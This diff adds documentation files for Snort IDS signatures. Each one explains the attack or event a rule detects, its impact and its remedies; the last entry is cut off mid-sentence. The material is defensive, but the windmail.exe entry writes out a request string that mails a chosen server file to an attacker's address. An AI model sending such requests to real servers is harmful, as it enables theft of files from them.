--- snort-2.8.5.2.orig/doc/signatures/2029.txt
+++ snort-2.8.5.2/doc/signatures/2029.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2029
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.8.5.2.orig/doc/signatures/715.txt
+++ snort-2.8.5.2/doc/signatures/715.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+715
+
+--
+Summary:
+This event is generated when a telnet server sends an error message regarding a failed user attempt to issue the 'su' command to get root privileges. 
+
+--
+Impact:
+Failed root access.  This attack occurs when a user attempts to get root privileges using the su command.
+
+--
+Detailed Information:
+An attacker may attempt to gain root privileges by issuing the su command.  This implies that the attacker has successfully connected to the telnet server with an account other than root. A failed attempt will cause an error message to be generated indicating that the user is not a member of an authorized group to obtain root privileges.
+
+--
+Affected Systems:
+All telnet servers.
+
+--
+Attack Scenarios:
+At attacker may attempt to gain root privileges on a telnet server.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+It is remotely possible that a legitimate user with multiple user accounts may attempt to issue su command from the wrong account.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use ssh instead of telnet to prevent su passwords from being sniffed.
+
+Tightly restric su access to authorized users.
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original rule writer unknown
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1641.txt
+++ snort-2.8.5.2/doc/signatures/1641.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1641
+
+--
+Summary:
+This event is generated when potential Denial of Service (DoS) traffic is detected on the network. 
+
+--
+Impact:
+Serious. A DoS attack may be underway.
+
+--
+Detailed Information:
+This event indicates that DoS traffic has been detected. An attempt to exhaust resources on a host may be underway leading to the host being unavailable for legitimate use.
+
+--
+Attack Scenarios:
+An attacker may attempt to exhaust resources available on a host leading to the host being unable to respond to legitimate requests.
+
+--
+Ease of Attack:
+Simple to Difficult.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/491.txt
+++ snort-2.8.5.2/doc/signatures/491.txt
@@ -0,0 +1,63 @@
+Rule:  
+--
+Sid:
+491
+
+--
+Summary:
+This event is generated when a failed attempt to login to an FTP server
+is detected.
+
+--
+Impact:
+Unknown. Multiple events may indicate an attempt to enumerate accounts
+and passwords using brute force methodology.
+
+--
+Detailed Information:
+This event is generated when a failed attempt to login to an FTP server
+is detected.
+
+Multiple events may indicate an attempt to enumerate accounts
+and passwords using brute force methodology.
+
+--
+Affected Systems:
+	All FTP Servers
+ 
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Check FTP logs for access attempts.
+
+Disallow FTP access from sources external to the protected network.
+
+Consider using Secure Shell as a replacement for FTP services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+RFC:
+http://www.faqs.org/rfcs/rfc959.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/115-2.txt
+++ snort-2.8.5.2/doc/signatures/115-2.txt
@@ -0,0 +1,72 @@
+
+
+Rule:
+
+--
+Sid:
+115-2
+
+--
+Summary:
+This event is generated when the pre-processor asn1 detects network
+traffic that may constitute an attack. Specifically an invalid asn.1
+length encoding was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the asn1 pre-processor detects network
+traffic that may consititute an attack.
+
+
+An invalid length parameter in the asn1 packet header may indicate an
+attempt to exploit a vulnerability in the application using asn1
+libraries or alternatively it may be an attempt to evade detection by
+an IDS that may not correctly process asn1 data.
+
+More information on this event can be found in the individual
+pre-processor documentation README.asn1 in the docs directory of the
+snort source. Detailed instructions and examples on how to tune and use
+the pre-processor can also be found in the same document.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ASN1 Information Site:
+http://asn1.elibel.tm.fr/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3238.txt
+++ snort-2.8.5.2/doc/signatures/3238.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3238
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1158.txt
+++ snort-2.8.5.2/doc/signatures/1158.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+
+Sid:
+1158
+
+--
+
+Summary:
+This event is generated when an attempt is made to access the executable
+file WindMail.exe using a web connection.
+
+--
+Impact:
+Remote attackers could subvert the WindMail mailer to read or execute
+arbitrary files on the web server
+
+--
+Detailed Information:
+WindMail is a commandline mail program for Windows.  It is sometimes
+deployed for scripting or for sending email through a web application.
+Some windmail deployments make webmail.exe a CGI application, which it was
+not designed to do.  The result is that an attacker could read or
+execute arbitrary files on the system that the web server has access to.
+It should never be a CGI application itself, and instead should be called
+by another program that properly filters input.
+
+--
+Affected Systems:
+	All systems using windmail.exe
+
+--
+Attack Scenarios:
+http://target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address
+
+--
+Ease of Attack:
+Simple crafting of a web GET request
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+If a CGI script calls windmail.exe, but windmail.exe itself is not a CGI
+application, then this rule will not generate an event. If the CGI
+application does not properly filter input, there is a possibility
+that the attack could still succeed.
+
+--
+Corrective Action:
+Look at the packet to determine whether a request was made via an HTTP GET
+for the windmail.exe application. If so, determine whether the attacked
+web server had windmail.exe on it.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000391.txt
+++ snort-2.8.5.2/doc/signatures/100000391.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000391
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "vacadma.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "vacadma.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2924.txt
+++ snort-2.8.5.2/doc/signatures/2924.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2924
+
+--
+Summary:
+This event is generated when repeated failed attempts are made to access
+an SMB share.
+ 
+--
+Impact:
+Unknown. Possible information disclosure and loss of data.
+
+--
+Detailed Information:
+This event indicates that multiple failed attempts have been made to
+access an SMB network share. This may indicate a determined effort by an
+unauthorized user to access information and data on a network share.
+
+--
+Affected Systems:
+	All systems sharing resources using SMB
+
+--
+Attack Scenarios:
+An attacker can make repeated attempts to access network shares in an
+attempt to gain information.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply strict access control to all networked resources.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1739.txt
+++ snort-2.8.5.2/doc/signatures/1739.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1739
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3244.txt
+++ snort-2.8.5.2/doc/signatures/3244.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3244
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000741.txt
+++ snort-2.8.5.2/doc/signatures/100000741.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000741
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "LogView.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "LogView.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1045.txt
+++ snort-2.8.5.2/doc/signatures/1045.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1045
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/260.txt
+++ snort-2.8.5.2/doc/signatures/260.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+261
+
+--
+Summary:
+This event is generated by an attempted buffer overflow associated with improperly formatted DNS inverse queries. 
+
+--
+Impact:
+Severe. The DNS server can be compromised allowing the attacker access at the privilege level at which BIND runs.  
+
+--
+Detailed Information:
+Certain versions of BIND do no perform correct bounds checking when responding to an inverse query. A maliciously formatted inverse query can cause the DNS server to crash and allow remote access with the privileges of the user running BIND.  Inverse queries are disabled by default; this attack can affect DNS servers that have been configured to enable them.
+
+--
+Affected Systems:
+BIND 4.9 releases prior to 4.9.7 and BIND 8 releases prior to 8.1.2. 
+
+--
+Attack Scenarios:
+An attacker can launch this exploit to gain remote access to the DNS server.
+
+--
+Ease of Attack:
+Simple.  Code exists to exploit the buffer overflow.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to a version of BIND that is not vulnerable to this attack.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-1998-05.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2668.txt
+++ snort-2.8.5.2/doc/signatures/2668.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+2668
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the file
+processit.pl.
+
+-- 
+Impact: 
+Information Disclosure.
+
+--
+Detailed Information:
+The script processit.pl returns envirnoment variables used by the server
+hosting the application. This can divulge information valuable to an
+attacker that can be used in further attacks against the host.
+
+--
+Affected Systems:
+	All systems using processit.pl
+
+--
+Attack Scenarios: 
+An attacker can retrieve environment variables by accessing the script
+processit.pl, these can be used in further attacks against the system.
+
+-- 
+Ease of Attack: 
+Simple
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Uninstall the script processit.pl
+
+Only allow usage from authenticated users
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2346.txt
+++ snort-2.8.5.2/doc/signatures/2346.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2346
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+chatheader.php script which contains known vulnerabilities and
+is part of  the myPHPNuke web application running on a server.
+
+--
+Impact:
+Information gathering and possible cross site scripting attack.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the myPHPNuke web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to
+cross site scripting attacks.
+
+--
+Affected Systems:
+	myPHPNuke 1.8.8
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including it in the
+Default_Theme parameter of the chatheader.php script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1816.txt
+++ snort-2.8.5.2/doc/signatures/1816.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1816
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2257.txt
+++ snort-2.8.5.2/doc/signatures/2257.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Messenger service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to improper length validation in the Microsoft Windows Messenger
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, this vulnerability may present the attacker with the
+opportunity to execute code with the privileges of the local system
+account with full access to all resources on the target host.
+
+--
+Affected Systems:
+	Microsoft Windows NT Workstation 4.0, Service Pack 6a
+	Microsoft Windows NT Server 4.0, Service Pack 6a
+	Microsoft Windows NT Server 4.0, Terminal Server Edition, Service Pack 6
+	Microsoft Windows 2000, Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP Gold, Service Pack 1
+	Microsoft Windows XP 64-bit Edition
+	Microsoft Windows XP 64-bit Edition Version 2003
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2003 64-bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Disable the Windows messenger service
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/575892
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-043.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000751.txt
+++ snort-2.8.5.2/doc/signatures/100000751.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000751
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "about.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "about.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2898.txt
+++ snort-2.8.5.2/doc/signatures/2898.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2898
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_unique_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/678.txt
+++ snort-2.8.5.2/doc/signatures/678.txt
@@ -0,0 +1,79 @@
+Rule:  
+
+--
+Sid: 
+678
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+Affected Systems:
+	Microsoft SQL Servers
+
+--
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
